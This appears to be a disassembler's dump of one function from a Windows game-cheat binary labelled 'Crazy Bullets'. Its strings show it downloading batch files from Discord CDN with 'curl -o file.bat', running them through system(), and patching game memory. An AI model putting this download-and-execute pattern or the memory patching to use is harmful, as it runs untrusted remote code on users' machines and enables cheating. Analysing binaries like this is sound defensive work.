Function at 0x14004f880
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 8], rcx
push rbp
push rdi
push r14
lea rbp, [rsp - 0x20]
sub rsp, 0x120
xor esi, esi
call fcn.14004ee40
mov rdx, rax
lea rcx, [0x1402df4b0]
call fcn.1400507d0
test eax, eax
jne 0x14004f8d0
lea r8d, [rsi + 0x1c]
lea rdx, str.An_unexpected_error_occurred
lea rcx, [0x1402bd528]
call fcn.1400425a0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov ecx, reloc.WS2_32.dll_WSASetLastError
call fcn.140122bd8
mov rbx, rax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x10], 0x60
mov qword [rbp - 8], reloc.WS2_32.dll_WSAGetLastError
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1089699483383775292_1100985852445872199_stop_internet.bat]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140162310]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140162320]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140162330]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140162340]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140162350]
movups xmmword [rax + 0x50], xmm1
mov byte [rax + 0x60], sil
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], 8
mov r14d, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x68], r14
mov rcx, qword [str.file.bat]
mov qword [rbp - 0x80], rcx
mov byte [rbp - 0x78], 0
lea rax, [rbp - 0x80]
mov qword [rsp + 0x30], 8
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 8
lea r9, str.curl__o
lea r8, [rbp - 0x80]
movzx edx, byte [rbp + 0x40]
lea rcx, [rbp - 0x40]
call fcn.140042c90
nop
lea r8d, [r14 - 0xe]
lea rdx, [0x140162374]
lea rcx, [rbp - 0x40]
call fcn.140042710
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], r14
mov byte [rax], 0
lea r8d, [r14 + 0x51]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.140042710
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], r14
mov byte [rax], 0
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14004fa6e
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fa69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004fa69
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140122f34
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r14
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14004fabd
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fab8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004fab8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140122f34
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], r14
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x14004fb0a
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fb05
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004fb05
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140122f34
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x53
call fcn.140122fec
mov rbx, rax
mov dword [rax], 0
mov dword [rax + 4], Ordinal_41
mov dword [rax + 8], 0x6e0049
mov dword [rax + 0xc], 0x610047
mov dword [rax + 0x10], 0x65006d
mov dword [rax + 0x14], 0x4e002f
mov dword [rax + 0x18], 0x740065
mov dword [rax + 0x1c], 0x6f0077
mov dword [rax + 0x20], 0x6b0072
mov dword [rax + 0x24], 0x490041
mov dword [rax + 0x28], 0x610050
mov dword [rax + 0x2c], 0x6e0077
mov dword [rax + 0x30], 0x4e002f
mov dword [rax + 0x34], 0x740065
mov dword [rax + 0x38], 0x6f0077
mov dword [rax + 0x3c], 0x6b0072
mov dword [rax + 0x40], 0x490041
mov dword [rax + 0x44], 0x610050
mov dword [rax + 0x48], 0x740072
mov dword [rax + 0x4c], 0x4e0079
mov word [rax + 0x50], 0x50
mov byte [rax + 0x52], 0x43
mov ecx, 0x53
call fcn.140122fec
mov dword [rax], 0
mov dword [rax + 4], reloc.WLDAP32.dll_Ordinal_33
mov dword [rax + 8], 0x6e0069
mov dword [rax + 0xc], 0x610067
mov dword [rax + 0x10], 0x65006d
mov dword [rax + 0x14], 0x63002f
mov dword [rax + 0x18], 0x700061
mov dword [rax + 0x1c], 0x750073
mov dword [rax + 0x20], 0x65006c
mov dword [rax + 0x24], 0x750068
mov dword [rax + 0x28], 0x61006d
mov dword [rax + 0x2c], 0x73006e
mov dword [rax + 0x30], 0x69006e
mov dword [rax + 0x34], 0x650070
mov dword [rax + 0x38], 0x630072
mov dword [rax + 0x3c], 0x6c006f
mov dword [rax + 0x40], 0x69006c
mov dword [rax + 0x44], 0x650064
mov qword [rax + 0x48], WSAStartup
mov word [rax + 0x50], 0
mov byte [rax + 0x52], 0
mov qword [rsp + 0x20], rbx
mov r9, rax
lea rcx, [0x1402df4b0]
call fcn.1400508d0
mov ecx, reloc.WS2_32.dll_recv
call fcn.140122fec
mov rbx, rax
mov dword [rax], 0x3f800000
mov dword [rax + 4], 0xe92d4830
mov dword [rax + 8], 0xe1a04001
mov dword [rax + 0xc], 0xe59f1020
mov ecx, reloc.WS2_32.dll_recv
call fcn.140122fec
mov dword [rax], 0x3727c5ac
mov dword [rax + 4], 0xe92d4830
mov dword [rax + 8], 0xe1a04001
mov dword [rax + 0xc], 0xe59f1020
mov qword [rsp + 0x20], rbx
mov r9, rax
lea rcx, [0x1402df4b0]
call fcn.1400508d0
test al, al
je 0x14004ffe2
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str.Crazy_Bullets_Checked
lea rcx, [0x1402bd528]
call fcn.1400425a0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Beep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov ecx, reloc.WS2_32.dll_WSASetLastError
call fcn.140122bd8
mov rbx, rax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x30], 0x61
mov qword [rbp - 0x28], reloc.WS2_32.dll_WSAGetLastError
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1089699483383775292_1100985852806561832_start_internet.bat]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1401623b0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1401623c0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1401623d0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1401623e0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1401623f0]
movups xmmword [rax + 0x50], xmm1
movzx eax, byte [reloc.WS2_32.dll_WSACleanup]
mov byte [rbx + 0x60], al
mov byte [rbx + 0x61], 0
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], 8
mov qword [rsp + 0x58], r14
mov rcx, qword [str.file.bat]
mov qword [rsp + 0x40], rcx
mov byte [rsp + 0x48], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], 8
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 8
lea r9, str.curl__o
lea r8, [rsp + 0x40]
movzx edx, byte [rbp + 0x40]
lea rcx, [rbp]
call fcn.140042c90
nop
mov r8d, 1
lea rdx, [0x140162374]
lea rcx, [rbp]
call fcn.140042710
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], r14
mov byte [rax], 0
mov r8d, 0x61
mov rdx, rbx
lea rcx, [rbp - 0x60]
call fcn.140042710
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], r14
mov byte [rax], 0
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14004fea6
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fea1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004fea1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140122f34
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], r14
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14004fef3
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004feee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004feee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140122f34
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], r14
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x14004ff3d
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ff38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004ff38
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140122f34
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14004ff95
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ff90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004ff90
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140122f34
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r14
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x14004ffe2
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ffdd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004ffdd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140122f34
mov ecx, 0x53
call fcn.140122fec
mov rbx, rax
mov dword [rax], 0
mov dword [rax + 4], reloc.WLDAP32.dll_Ordinal_33
mov dword [rax + 8], 0x6e0069
mov dword [rax + 0xc], 0x610067
mov dword [rax + 0x10], 0x65006d
mov dword [rax + 0x14], 0x63002f
mov dword [rax + 0x18], 0x700061
mov dword [rax + 0x1c], 0x750073
mov dword [rax + 0x20], 0x65006c
mov dword [rax + 0x24], 0x750068
mov dword [rax + 0x28], 0x61006d
mov dword [rax + 0x2c], 0x73006e
mov dword [rax + 0x30], 0x69006e
mov dword [rax + 0x34], 0x650070
mov dword [rax + 0x38], 0x630072
mov dword [rax + 0x3c], 0x6c006f
mov dword [rax + 0x40], 0x69006c
mov dword [rax + 0x44], 0x650064
mov qword [rax + 0x48], WSAStartup
mov word [rax + 0x50], 0
mov byte [rax + 0x52], 0
mov ecx, 0x53
call fcn.140122fec
mov dword [rax], 0
mov dword [rax + 4], Ordinal_41
mov dword [rax + 8], 0x6e0049
mov dword [rax + 0xc], 0x610047
mov dword [rax + 0x10], 0x65006d
mov dword [rax + 0x14], 0x4e002f
mov dword [rax + 0x18], 0x740065
mov dword [rax + 0x1c], 0x6f0077
mov dword [rax + 0x20], 0x6b0072
mov dword [rax + 0x24], 0x490041
mov dword [rax + 0x28], 0x610050
mov dword [rax + 0x2c], 0x6e0077
mov dword [rax + 0x30], 0x4e002f
mov dword [rax + 0x34], 0x740065
mov dword [rax + 0x38], 0x6f0077
mov dword [rax + 0x3c], 0x6b0072
mov dword [rax + 0x40], 0x490041
mov dword [rax + 0x44], 0x610050
mov dword [rax + 0x48], 0x740072
mov dword [rax + 0x4c], 0x4e0079
mov word [rax + 0x50], 0x50
mov byte [rax + 0x52], 0x43
mov qword [rsp + 0x20], rbx
mov r9, rax
lea rcx, [0x1402df4b0]
call fcn.1400508d0
mov ecx, reloc.WS2_32.dll_recv
call fcn.140122fec
mov rbx, rax
mov dword [rax], 0x3727c5ac
mov dword [rax + 4], 0xe92d4830
mov dword [rax + 8], 0xe1a04001
mov dword [rax + 0xc], 0xe59f1020
mov ecx, reloc.WS2_32.dll_recv
call fcn.140122fec
mov dword [rax], 0x3f800000
mov dword [rax + 4], 0xe92d4830
mov dword [rax + 8], 0xe1a04001
mov dword [rax + 0xc], 0xe59f1020
mov qword [rsp + 0x20], rbx
mov r9, rax
lea rcx, [0x1402df4b0]
call fcn.1400508d0
lea rcx, [0x1402bd528]
test al, al
je 0x1400501c1
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str.Crazy_Bullets_Enabled
call fcn.1400425a0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Beep]
jmp 0x1400501d3
mov r8d, Ordinal_35
lea rdx, str.Crazy_Bullets_X:_Failed_to_Enable_
call fcn.1400425a0
mov rcx, qword [0x1402df508]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14005021f
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005021a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005021a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140122f34
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x68], r14
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140050269
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050264
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140050264
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140122f34
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret